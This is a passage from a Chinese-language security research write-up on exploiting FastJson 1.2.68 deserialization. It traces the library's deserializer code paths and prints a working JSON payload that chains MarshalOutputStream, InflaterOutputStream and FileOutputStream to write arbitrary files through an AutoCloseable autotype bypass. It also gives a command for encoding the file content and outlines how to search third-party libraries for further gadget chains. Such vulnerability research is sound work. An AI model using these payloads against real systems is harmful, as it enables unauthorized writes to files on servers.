at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:284)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:395)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:565)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1401)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1367)
at com.alibaba.fastjson.JSON.parse(JSON.java:183)
at com.alibaba.fastjson.JSON.parse(JSON.java:193)
at com.alibaba.fastjson.JSON.parse(JSON.java:149)
at Main.main(Main.java:68)

上述报错的意思是 FastJson 找不到 class sun.rmi.server.MarshalOutputStream 的默认构造函数。具体原因需要我们分析 createJavaBeanDeserializer 创建 JavaBeanDeserializer 的过程。

首先 createJavaBeanDeserializer 决定这个 clazz 用哪种方式反序列化,并最终创建一个 ObjectDeserializer 实例给后续解析器使用。它会在高速的 ASM 反序列化器通用的反射版 JavaBeanDeserializer之间做出选择。

  1. 初始开关

    1
    boolean asmEnable = this.asmEnable & !this.fieldBased;

    若全局允许 ASM 且不是 fieldBased,才考虑 ASM。

  2. @JSONType 处理(可短路到自定义反序列化器)

    • 若类上有 @JSONTypedeserializer() 指定了类,实例化后直接返回该反序列化器。
    • 否则用 jsonType.asm() 调整 asmEnable
  3. 父类可见性检查(逐级必须 public)

    1
    2
    3
    Class<?> superClass = JavaBeanInfo.getBuilderClass(clazz, jsonType);
    if (superClass == null) superClass = clazz;
    // 沿父类链检查是否都是 public
  4. 其他早期硬性检查

    • 存在泛型形参 → 关掉 ASM:clazz.getTypeParameters().length != 0
    • 外部类加载器 → 关掉 ASM:asmFactory.classLoader.isExternalClass(clazz)
    • 类名合法性ASMUtils.checkName(clazz.getSimpleName())
  5. 接口直接否决 ASM

    1
    if (clazz.isInterface()) asmEnable = false;
  6. [第一次 build] —— ASM “预检版”元信息

    1
    2
    3
    4
    5
    6
    JavaBeanInfo beanInfo = JavaBeanInfo.build(
    clazz, type, propertyNamingStrategy,
    false, // fieldBased
    TypeUtils.compatibleWithJavaBean,
    jacksonCompatible // 这里把 ParserConfig 的 jackson 兼容开关也带进去了
    );

    用途:拿到属性清单与构造元信息,以便做下一组依赖元信息的可行性检查(否则仅凭 Class 本身拿不到这些细节)。

    预检里用到的 beanInfo 字段包括:

    • beanInfo.fields.length(>200 直接弃用 ASM)

    • beanInfo.defaultConstructor没有无参构造就弃用 ASM)

    • 遍历 beanInfo.fields 做逐项检查:

      • fieldInfo.getOnly(只有 getter 的只读属性 → 弃用 ASM)

      • fieldInfo.fieldClass 必须 public

      • 成员类必须是 static

      • 成员名/方法名需通过 ASMUtils.checkName(...)

      • @JSONField 包含 format/deserializeUsing/parseFeatures/unwrapped退避 ASM

      • 方法型属性若 paramTypes.length > 1退避 ASM

      • enum 字段要求其反序列化器是 EnumDeserializer

    关键点:这里没有 try/catch。如果 build(...) 本身在分析构造方式时抛异常(例如“找不到默认构造且也找不到可用的创建者”),程序会直接终止,不会进入后面的“回退到反射版”。你看到的
    JSONException: default constructor not found. class sun.rmi.server.MarshalOutputStream
    就是 第一次 build 阶段抛出来的。

  7. 后置的纯类级别检查(不依赖 beanInfo

    • 非静态内部类本体 → 关掉 ASM
    • TypeUtils.isXmlField(clazz) → 关掉 ASM
  8. 若走不了 ASM → 直接返回反射版

    1
    2
    3
    if (!asmEnable) {
    return new JavaBeanDeserializer(this, clazz, type);
    }

    (注意:上面第 6 步如果 build 就抛异常,压根到不了这里。)

  9. [第二次 build] —— ASM 生成用的“最终版”元信息

    1
    JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy);
    • 这是另一个重载,等价于:fieldBased=falsecompatibleWithJavaBean=TypeUtils.compatibleWithJavaBean、**jacksonCompatible=false**(默认)。
    • 也就是说,预检那次 build(...) 会考虑 jacksonCompatible,但真正用于 ASM 代码生成的这次 build(...) 不再启用 jackson 兼容路径
    • 原因很简单:ASM 路线只支持“无参构造 + setter/字段写入”这一套纯 JavaBean 语义;Jackson 风格的 Creator/Factory 并不会用于 ASM 代码生成。
  10. 尝试用 ASM 工厂生成专用反序列化器

    1
    2
    3
    4
    5
    6
    7
    8
    9
    try {
    return asmFactory.createJavaBeanDeserializer(this, beanInfo);
    } catch (NoSuchMethodException e) {
    return new JavaBeanDeserializer(this, clazz, type);
    } catch (JSONException asmError) {
    return new JavaBeanDeserializer(this, beanInfo);
    } catch (Exception e) {
    throw new JSONException("create asm deserializer error, " + clazz.getName(), e);
    }
    • 这里兜底:ASM 生成失败时回退到反射版(有时带 clazz,type,有时直接复用刚才的 beanInfo)。
    • 但再次强调:这只兜 ASM 工厂阶段的错不兜第一次 build 抛出的错

JavaBeanInfo.build 决定“怎么 new 出对象 + 怎么把 JSON 的 key 对应到属性/参数”,并把这些决策以 JavaBeanInfo 形式交给上层。

简而言之就是全面扫描类的“可反序列化入口”:优先级大致是
Builder / @JSONCreator 构造器 / @JSONCreator 工厂方法 /(Kotlin 特殊)/ 有参数构造器(能拿到参数名) / 默认构造器 + Setter/字段 映射。

其中关键步骤为:

  1. 拿注解与命名策略:读 @JSONType,可能覆盖 PropertyNamingStrategy

  2. Builder 支持:如果声明了 Builder 类(getBuilderClass),就转到 Builder 的 setter(withXxx/setXxx),再找 build()/create() 之类的构建方法。

  3. 收集类信息:字段、方法、泛型映射、是否 Kotlin、全部构造器等。

  4. 找默认构造器

    • 若不是 Kotlin(或只有一个构造器),优先在 目标类或其 Builder 上找 无参构造器getDefaultConstructor),并 setAccessible
  5. 如果(没有默认构造器 && 也没有 Builder)或类是接口/抽象

    • 尝试 @JSONCreator 标注的构造器:通过参数上的 @JSONField(name=...) 映射 JSON 属性→参数。

    • 否则尝试 @JSONCreator 的工厂方法static 或兼容 Jackson Creator)。

    • 否则(常规 POJO)尝试“有参构造器 + 参数名”路径

      • 逐个枚举 public 构造器,ASMUtils.lookupParameterNames(constructor) 取参数名(或 Kotlin 的参数名)。
      • 能拿到参数名,就据此把每个参数包装成 FieldInfo(参数名=属性名,或受 @JSONField 覆盖)。
      • 若找到此路可行,返回 JavaBeanInfo,并把 creatorConstructor 设为该构造器。
    • 都不行:抛出 JSONException("default constructor not found. " + clazz) —— 因为没有默认构造器、也没有任何“可用的对象创建入口”(Creator/Factory/Builder/有参构造器+参数名)。

  6. 如果有默认构造器

    • 走常规 JavaBean 路径:扫描 setter 方法 / 字段 / 集合 Map 的 getter 等,合成 FieldInfo 列表;也支持 @JSONField 覆盖属性名、序列化/解析特性;支持命名策略转换等。
  7. 字段为 0 的兜底(XML/fieldBased):可能改走“基于字段”的映射。

  8. 最终:返回 JavaBeanInfo(clazz, builderClass, defaultConstructor, creatorConstructor, factoryMethod, buildMethod, jsonType, fieldList)

对于普通的 JDK,通过下面这条命令查询 sun.rmi.server.MarshalOutputStream 的函数信息:

1
javap -l sun.rmi.server.MarshalOutputStream

发现构造函数只有下面两种,并且没有无参构造器

1
2
3
4
5
6
7
8
9
10
11
public sun.rmi.server.MarshalOutputStream(java.io.OutputStream) throws java.io.IOException;
LineNumberTable:
line 55: 0
line 56: 6

public sun.rmi.server.MarshalOutputStream(java.io.OutputStream, int) throws java.io.IOException;
LineNumberTable:
line 64: 0
line 65: 5
line 66: 10
line 73: 22

因此根据前面对 JavaBeanInfo.build 的分析,此时会ASMUtils.lookupParameterNames(constructor) 取参数名,试图走“有参构造器 + 参数名”分支。

然而 JDK 类通常不携带参数名(没有 -parameters,也通常不保留 LocalVariableTable 参数名),因此 ASMUtils.lookupParameterNames(constructor) 拿不到名字,直接 continue。最终因为没有找到任何可用的构造路径而抛出:default constructor not found. class sun.rmi.server.MarshalOutputStream 错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
String[] paramNames = null;
if (kotlin && constructors.length > 0) {
// [...]
} else {

for (Constructor constructor : constructors) {
Class<?>[] parameterTypes = constructor.getParameterTypes();

// [...]

boolean is_public = (constructor.getModifiers() & Modifier.PUBLIC) != 0;
if (!is_public) {
continue;
}
// lookupParameterNames == [] => paramNames == null
String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);
if (lookupParameterNames == null || lookupParameterNames.length == 0) {
continue;
}

if (creatorConstructor != null
&& paramNames != null && lookupParameterNames.length <= paramNames.length) {
continue;
}

paramNames = lookupParameterNames;
creatorConstructor = constructor;
}
}

// [...]

if (paramNames != null
&& types.length == paramNames.length) {
// [...]
} else {
throw new JSONException("default constructor not found. " + clazz);
}

然而如果是我们自己编译的带符号的 JDK:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
git clone https://github.com/openjdk/jdk8u && cd jdk8u

# 安装依赖
sudo apt-get update
sudo apt-get install xorg-dev libcups2-dev libasound2-dev

git checkout jdk8u392-b08

# 重新配置
bash configure \
--with-debug-level=slowdebug \
--with-extra-cxxflags='-std=gnu++98 -Wno-register -Wno-error=register' \
--with-extra-cflags='-Wno-error=register'

# 编译
make images WARNINGS_ARE_ERRORS=

那么 javap -l sun.rmi.server.MarshalOutputStream 发现 MarshalOutputStream 的构造函数的参数有 LocalVariableTable 信息,那么 ASMUtils.lookupParameterNames 也就可以正常获取有参构造函数了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public sun.rmi.server.MarshalOutputStream(java.io.OutputStream) throws java.io.IOException;
LineNumberTable:
line 55: 0
line 56: 6
LocalVariableTable:
Start Length Slot Name Signature
0 7 0 this Lsun/rmi/server/MarshalOutputStream;
0 7 1 out Ljava/io/OutputStream;

public sun.rmi.server.MarshalOutputStream(java.io.OutputStream, int) throws java.io.IOException;
LineNumberTable:
line 64: 0
line 65: 5
line 66: 10
line 73: 22
LocalVariableTable:
Start Length Slot Name Signature
0 23 0 this Lsun/rmi/server/MarshalOutputStream;
0 23 1 out Ljava/io/OutputStream;
0 23 2 protocolVersion I

如果 json 后续的属性与构造函数的参数名对应上(例如 sun.rmi.server.MarshalOutputStream(out, protocolVersion)):

1
2
3
4
5
6
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {},
"protocolVersion": 1
}

那么随后我们就可以调用到对应的构造函数将 MarshalOutputStream 实例化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
at sun.rmi.server.MarshalOutputStream.<init>(MarshalOutputStream.java:64)
at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1)
at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:1012)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:288)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:284)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:808)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:288)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:284)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:395)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1401)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1367)
at com.alibaba.fastjson.JSON.parse(JSON.java:183)
at com.alibaba.fastjson.JSON.parse(JSON.java:193)
at com.alibaba.fastjson.JSON.parse(JSON.java:149)
at Main.main(Main.java:55)

在上述分析的基础上,我们可以构造出下面这个任意文件写的 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
},
"infl": {
"input": "eJxLLE5JTCkGAAh5AnE="
},
"bufLen": 100
},
"protocolVersion": 1
}

首先最内层是一个 java.io.FileOutputStream 类的实例。由于我们使用的 JDK 带参数符号,因此可以通过:

1
2
3
4
5
{
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
}

并且 FileOutputStream 继承于 AutoCloseable,可以通过 checkAutoType 的检查。

FileOutputStream

直接定位到 java.io.FileOutputStream 对应的构造函数并调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/**
* 根据给定的 File 对象创建一个文件输出流。
* 如果 append=true,则以“追加”方式写入文件末尾;否则从开头写(可能覆盖原有内容)。
* 会创建一个新的 FileDescriptor 来代表底层文件连接。
*
* 安全检查:
* - 若存在 SecurityManager,则调用 security.checkWrite(path) 进行写权限校验。
* - 若路径非法、是目录、无法创建或无法打开等,会抛出 FileNotFoundException。
*
* @param file 要打开的文件(File 实例)
* @param append 是否追加写入(true=追加;false=非追加)
* @throws FileNotFoundException 文件是目录、不存在但无法创建、或其它原因导致无法打开
* @throws SecurityException 存在 SecurityManager 且拒绝对该路径的写入
* @since 1.4
*/
public FileOutputStream(File file, boolean append) throws FileNotFoundException {
// 取出路径字符串;允许 file==null(随后会抛 NPE)
String name = (file != null ? file.getPath() : null);

// 1) 安全管理器检查(普通进程通常为 null,不做检查)
SecurityManager security = System.getSecurityManager();
if (security != null) {
security.checkWrite(name); // 无写权限直接抛 SecurityException
}

// 2) 空指针检查:如果 file 为 null,则 name 也为 null,这里抛 NPE
if (name == null) {
throw new NullPointerException();
}

// 3) 路径有效性检查:例如包含非法字符(不同平台实现不同)
if (file.isInvalid()) {
throw new FileNotFoundException("Invalid file path");
}

// 4) 为该流创建新的文件描述符(fd)
this.fd = new FileDescriptor();

// 5) 让 fd 反向关联到当前 FileOutputStream,
// 便于资源管理/最终化(finalize)时能关闭底层句柄
fd.attach(this);

// 6) 记录“是否追加写”的标志位
this.append = append;

// 7) 保存路径字符串(用于错误信息、toString 等)
this.path = name;

// 8) 真正打开文件(调用本地方法 open0),获得 OS 级文件句柄
// - name:路径
// - append:若为 true,则以 O_APPEND 打开(写指针永远在末尾)
// 若为 false,通常是 O_TRUNC(清空)或覆盖写(具体由实现/构造器而定)
open(name, append);
}

之后是 java.util.zip.InflaterOutputStream

1
2
3
4
5
6
7
8
9
10
11
12
{
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
},
"infl": {
"input": "eJxLLE5JTCkGAAh5AnE="
},
"bufLen": 100
}

InflaterOutputStream 同样继承于 AutoCloseable,可以通过 checkAutoType 的检查。

InflaterOutputStream

对应调用如下构造函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/**
* 使用给定的“解压器”和“缓冲区大小”创建一个 InflaterOutputStream。
*
* @param out 解压后的明文要写入到的下游输出流(例如 FileOutputStream)
* @param infl 用于解压的 zlib 解压器(Inflater)
* @param bufLen 解压时使用的中间缓冲区大小(>0)
* @throws IllegalArgumentException 当 bufLen <= 0
* @throws NullPointerException 当 out 或 infl 为空
*/
public InflaterOutputStream(OutputStream out, Inflater infl, int bufLen) {
super(out); // 把下游输出流保存到父类 FilterOutputStream.out

// —— 基本健壮性检查 ——
if (out == null)
throw new NullPointerException("Null output"); // 没有下游目的地,不可继续
if (infl == null)
throw new NullPointerException("Null inflater"); // 没有解压器,不可继续
if (bufLen <= 0)
throw new IllegalArgumentException("Buffer size < 1"); // 缓冲区必须正数

// —— 关键初始化 ——
inf = infl; // 绑定将要使用的解压器(持有压缩输入数据/状态)
buf = new byte[bufLen]; // 分配解压用的中间缓冲(承接 inflate() 产出的明文再写出)
}

InflaterOutputStream 继承自 FilterOutputStream,你把压缩过(deflate/zlib)的字节写进它的 write(...),它会当场解压,再把解压后的明文写到它包裹的下游 OutputStream(比如 FileOutputStreamSocketOutputStream)。

Inflaterzlib/deflate 解压器的“状态机”对象InflaterOutputStream 并不自己解析压缩格式,而是把“压缩输入给 Inflater,再从它那里把解压后的明文取出来写到下游的 OutputStream(比如 FileOutputStream)。

当 FastJson 解析到我们 Json 数据中的下面这部分内容时:

1
2
3
"infl": {
"input": "eJxLLE5JTCkGAAh5AnE="
}

会先将 input 后面的内容进行 Base64 加码,然后调用 Inflater#setInput,从而设置好 Inflater 中的 bufofflen 属性。这里的 bufInflater 用来缓存待解压数据的地方。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/**
* 为解压器提供新的“压缩输入数据”。
* 典型用法:当 needsInput() 返回 true(表示没有可用的压缩字节)时,再调用本方法。
*
* 注意:
* - 不会拷贝数据,只是记录对数组 b 的引用以及窗口范围 [0, b.length)(零拷贝)。
* - 调用后,解压将从 b[0 .. b.length) 这段数据中消费压缩字节。
* - 在这段数据被完全消费(needsInput() 重新变为 true)之前,不要修改/回收 b。
*
* @param b 作为压缩输入的字节数组(整段)
* @see Inflater#needsInput()
*/
public void setInput(byte[] b) {
// 委托给偏移/长度版本,窗口为整段数组
setInput(b, 0, b.length);
}

/**
* 为解压器提供新的“压缩输入数据”窗口。
* 典型用法:当 needsInput() 返回 true(表示没有可用的压缩字节)时,再调用本方法。
*
* 注意:
* - 零拷贝:仅保存对 b 的引用与窗口 [off, off+len),不复制内容。
* - 线程安全:对底层 zlib 状态的修改在 zsRef 上同步,避免并发访问同一 Inflater。
* - 生命周期:在本窗口被完全消费前(len 归零、needsInput() 变为 true),不要改动 b 的对应内容。
*
* @param b 承载压缩输入数据的字节数组
* @param off 窗口起始偏移(从 b[off] 开始)
* @param len 窗口长度(可供解压的字节数)
* @throws NullPointerException 当 b 为 null
* @throws ArrayIndexOutOfBoundsException 当 off/len 越界或 off+len 超过数组长度
* @see Inflater#needsInput()
*/
public void setInput(byte[] b, int off, int len) {
// 参数合法性检查:b 不能为 null
if (b == null) {
throw new NullPointerException();
}
// 范围检查:off/len 非负且 off+len 不越界
if (off < 0 || len < 0 || off > b.length - len) {
throw new ArrayIndexOutOfBoundsException();
}

// 同步到 zlib 状态引用:Inflater/Deflater 的底层 z_stream 非线程安全
synchronized (zsRef) {
// 仅记录“输入窗口”的三元组(零拷贝)
this.buf = b; // 当前压缩输入的数据源
this.off = off; // 尚未消费的窗口起始位置
this.len = len; // 尚未消费的字节数
// 之后调用 inflate(...) 会从 [buf, off, len] 中消费数据并递减 len/推进 off
}
}

再后面是 sun.rmi.server.MarshalOutputStream

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
},
"infl": {
"input": "eJxLLE5JTCkGAAh5AnE="
},
"bufLen": 100
},
"protocolVersion": 1
}

对应调用的构造函数如下:

1
2
3
4
5
6
public MarshalOutputStream(OutputStream out, int protocolVersion)
throws IOException
{
super(out);
// [...]
}

由于 MarshalOutputStream 直接继承于 ObjectOutputStream,因此 super(out) 会直接调用到 ObjectOutputStream 的构造函数:

1
2
3
4
5
6
7
public ObjectOutputStream(OutputStream out) throws IOException {
// [...]
bout = new BlockDataOutputStream(out);
// [...]
bout.setBlockDataMode(true);
// [...]
}

其中 BlockDataOutputStream#setBlockDataMode 会触发我们传入的 outwrite 方法调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/**
* 将“块数据模式(block data mode)”切换为给定值(true=打开,false=关闭),
* 返回切换前的旧值。
*
* 语义:
* - 若新旧模式相同:不做任何事,直接返回当前模式值。
* - 若新旧模式不同:为保持数据边界一致,先把缓冲区里已有的数据写出去(drain),
* 再切换模式。
*/
boolean setBlockDataMode(boolean mode) throws IOException {
if (blkmode == mode) {
// 模式未变化,无需动作;返回当前(也是旧)模式
return blkmode;
}
drain(); // 模式切换前先把已缓冲的数据成块写出,避免跨模式“混包”
blkmode = mode; // 真正切换模式
return !blkmode; // 按 OOS 的约定,这里返回的是“切换前”的旧值
}

/**
* 将当前缓冲区(本 BlockDataOutputStream 的内部 buf)中的所有数据
* 写入到底层输出流 out,但**不调用 out.flush()**。
*
* 注意:
* - 如果当前处于块模式(blkmode=true),写数据前会先写入“块头”(block header),
* 表示接下来这个块的长度;然后再把 buf 的内容写出。
* - 写完后仅把缓冲区位置复位为 0,并不刷新底层 out。
*/
void drain() throws IOException {
if (pos == 0) {
// 缓冲区为空,无事可做
return;
}
if (blkmode) {
// 在块模式下,先写一个块头:告诉接收方本块 payload 的长度(pos)
// 内部通常是:长度 ≤255 写 TC_BLOCKDATA(0x77)+1字节长度,
// 否则写 TC_BLOCKDATALONG(0x7A)+4字节长度(大端)
writeBlockHeader(pos);
}
// 把缓冲区的 payload 写到下游流(不 flush)
out.write(buf, 0, pos);
pos = 0; // 清空缓冲区游标
}

由于这里我们传入的 out 是前面我们构造的 java.util.zip.InflaterOutputStream,因此这里调用的是 InflaterOutputStream#write 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
/**
* 将一段“压缩(zlib/deflate)数据”写入本过滤输出流。
* 本方法不会把参数 b 的字节原样写出,而是:
* 1) 先把压缩数据喂给解压器(Inflater);
* 2) 调用 inflate(...) 得到“解压后的明文”;
* 3) 再把明文写入下游输出流(out)。
*
* @param b 承载“压缩数据”的缓冲区
* @param off 压缩数据在 b 中的起始偏移
* @param len 压缩数据的长度
* @throws IndexOutOfBoundsException 当 off < 0,或 len < 0,或 len > b.length - off
* @throws IOException 当发生 I/O 错误,或该流已关闭
* @throws NullPointerException 当 b 为 null
* @throws ZipException 当压缩数据格式错误,或需要字典但未提供
*/
public void write(byte[] b, int off, int len) throws IOException {
// —— 基本健壮性检查 ——
ensureOpen(); // 确保流处于打开状态;否则抛出 IOException
if (b == null) {
throw new NullPointerException("Null buffer for read");
} else if (off < 0 || len < 0 || len > b.length - off) {
// 越界检查:off/len 必须合法且窗口不能溢出
throw new IndexOutOfBoundsException();
} else if (len == 0) {
// 没有可写入的压缩数据,直接返回(不会尝试消费解压器中已有的输入)
return;
}

// —— 将压缩数据解压为明文并写入下游输出流 ——
try {
for (;;) {
int n;

// 若解压器当前“缺少输入”,则从本次调用传入的 b(off..off+len) 中补充一段输入
if (inf.needsInput()) {
// [...]
}

// 反复从解压器取“解压后的明文”放入本流的缓冲区 buf,再写到底层 out
do {
n = inf.inflate(buf, 0, buf.length); // 将现有压缩输入解压到 buf
if (n > 0) {
out.write(buf, 0, n); // 把 n 个明文字节写入下游输出流
}
} while (n > 0); // 只要还能产出明文,就持续写出

// 状态检查:若已到达压缩流结尾,整个写入流程结束
if (inf.finished()) {
break;
}
// 若该压缩流需要预设字典但当前未提供,按照约定抛出 ZipException
if (inf.needsDictionary()) {
throw new ZipException("ZLIB dictionary missing");
}
// 否则继续下一轮:要么再喂输入,要么继续解压
}
} catch (DataFormatException ex) {
// 压缩数据格式不正确(zlib/deflate 格式错误等),包装为 ZipException 抛出
String msg = ex.getMessage();
if (msg == null) {
msg = "Invalid ZLIB data format";
}
throw new ZipException(msg);
}
}

InflaterOutputStream#write 首先会通过 inf.needsInput 判断是否能够将当前 write 要输出的内容追加进去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
* 判断内部“压缩输入窗口”里是否已经没有可消费的数据。
* 当返回 true 时,通常表示需要调用 {@link #setInput(byte[])} 或
* {@link #setInput(byte[], int, int)} 继续提供新的压缩数据。
*
* @return 当内部输入缓冲区无剩余数据时返回 true
*/
public boolean needsInput() {
// 以 zlib 状态引用(zsRef)为锁进行同步:
// Inflater 背后维护着原生 zlib 的 z_stream 状态,非线程安全,
// 这里加锁保证并发场景下读取剩余长度(len)的一致性。
synchronized (zsRef) {
// len 表示当前“尚未被消费的压缩字节数”(窗口长度)。
// 当 len <= 0 时,说明已经没有可供 inflate() 消费的压缩数据了,
// 需要调用方再次 setInput(...) 追加新的压缩字节。
return len <= 0;
}
}

由于前面通过 Inflater#setInput 的设置,这里 len > 0 因此返回 false,因此这里不会将 ObjectOutputStream 内容追加进去,而是而是直接将 InflaterOutputStream 中缓存的内容解压到 buf 缓冲区中,然后调用 FileOutputStream#write 写入到指定的文件中。这里的 buf 是在调用 InflaterOutputStream 构造函数时根据 bufLen 参数指定的长度分配的缓冲区。

1
2
3
4
n = inf.inflate(buf, 0, buf.length);  // 将现有压缩输入解压到 buf
if (n > 0) {
out.write(buf, 0, n); // 把 n 个明文字节写入下游输出流
}

其中 Inflater#inflate 会通过 JNI 调用解压 Inflater#buf 中的内容,然后将解压后的数据写入参数 boff 偏移处,并返回解压后数据的长度 n

  • JNI(Java Native Interface)是 Java 调用本地代码(C/C++/汇编) 的桥梁。在 java.util.zip.Inflater 里你看到的 inflateBytes(zsRef.address(), ...) 本质上是个 native 方法:它把参数和一个 原生 zlib 状态指针zsRef 里保存的 z_stream* 地址)传给 C 层的 zlib,由 zlib 完成实际解压。

  • inflate 这里使用的是 DEFLATE 算法(RFC 1951),在 Java 的 Inflater 默认构造(new Inflater()nowrap=false)下,期望的输入格式是 zlib 封装RFC 1950):

    • 具有 zlib 头部(常见首字节 0x78,Base64 往往以 eJ 开头);
    • 末尾带 Adler-32 校验。

    我们可以使用如下命令生成要写入文件的内容:

    1
    printf 'asdads' | python3 -c 'import sys,zlib,base64;print(base64.b64encode(zlib.compress(sys.stdin.buffer.read())).decode())'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* 将压缩字节解压到指定缓冲区中,并返回本次实际解压出的字节数。
* 若返回 0,表示需要调用 needsInput() 或 needsDictionary() 来判断
* 是否需要更多输入数据,或需要预设字典。若需要字典,可用 getAdler()
* 获取所需字典的 Adler-32 校验值。
*
* @param b 承接“解压后数据”的缓冲区
* @param off 在缓冲区 b 中开始写入的偏移
* @param len 本次最多写入(解压)多少字节
* @return 实际解压写入的字节数
* @throws DataFormatException 压缩数据格式非法/损坏
* @see Inflater#needsInput
* @see Inflater#needsDictionary
*/
public int inflate(byte[] b, int off, int len) throws DataFormatException {
if (b == null) {
throw new NullPointerException(); // 输出缓冲区不能为空
}
if (off < 0 || len < 0 || off > b.length - len) {
// off+len 越界或参数为负
throw new ArrayIndexOutOfBoundsException();
}
synchronized (zsRef) { // 以 zlib 原生状态引用为锁(线程不安全,需串行)
ensureOpen(); // 校验 Inflater 未 end()/关闭
int thisLen = this.len; // 记录调用前“尚未消费的压缩输入”长度
// JNI 调用:从当前输入窗口 [buf, off, len] 解压到 b[off..off+len)
int n = inflateBytes(zsRef.address(), b, off, len);
bytesWritten += n; // 统计累计“解压输出”(明文)字节数
bytesRead += (thisLen - this.len); // 统计本次消耗的“压缩输入”字节数(窗口减少量)
return n; // 返回本次实际解压出的明文字节数
}
}
XmlStreamReader

前面的 MarshalOutputStream 利用链虽然只依赖于原生 JDK 中的类,但是其中 sun.rmi.server.MarshalOutputStreamjava.util.zip.InflaterOutputStream 以及 java.io.FileOutputStream 均是基于带参数的构造函数进行构建。

而 FastJson 在通过带参构造函数进行反序列化时,会检查参数是否有参数名,只有含有参数名的带参构造函数才会被认可,且通常 JDK 中的字节码调试信息中没有 LocalVariableTable,因此该利用链对 Java 环境的要求较高,实际渗透测试中满足此要求的环境只占小部分(目前已知 CentOS 下的 OpenJDK 8 字节码调试信息,可以用来复现),因此需要寻找更为通用的利用链。

根据前面对 MarshalOutputStream 的利用链的分析,我们可以总结出基于 JavaBeanDeserializerexpectClass 绕过利用链的挖掘思路:

  • 需要一个通过 setter 方法或构造方法指定文件路径的 OutputStream
  • 需要一个通过setter 方法或构造方法传入字节数据的 OutputStream,并且可以通过 setter 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
  • 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toStringhashCode、getter、setter、构造方法调用传入的 OutputStream 的 flush 方法;

由于大部分 JDK/JRE 环境的类字节码里都不含有 LocalVariableTable,而很多第三方库里的字节码是有LocalVariableTable 的。因此我们可以把目光转向 maven 使用量 top100 的第三方库,寻找其中所有实现 java.lang.AutoCloseable 接口、同时保留有 LocalVariableTable 调试信息的类,并按照 FastJson 1.2.68 的黑名单进行筛选去除。

这里我们选择了 commons-io 库中的 XmlStreamReader 等几个类组成了一个利用链实现任意文件写。commons-io 库的 Maven 坐标如下:

1
2
3
4
5
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.6</version>
</dependency>

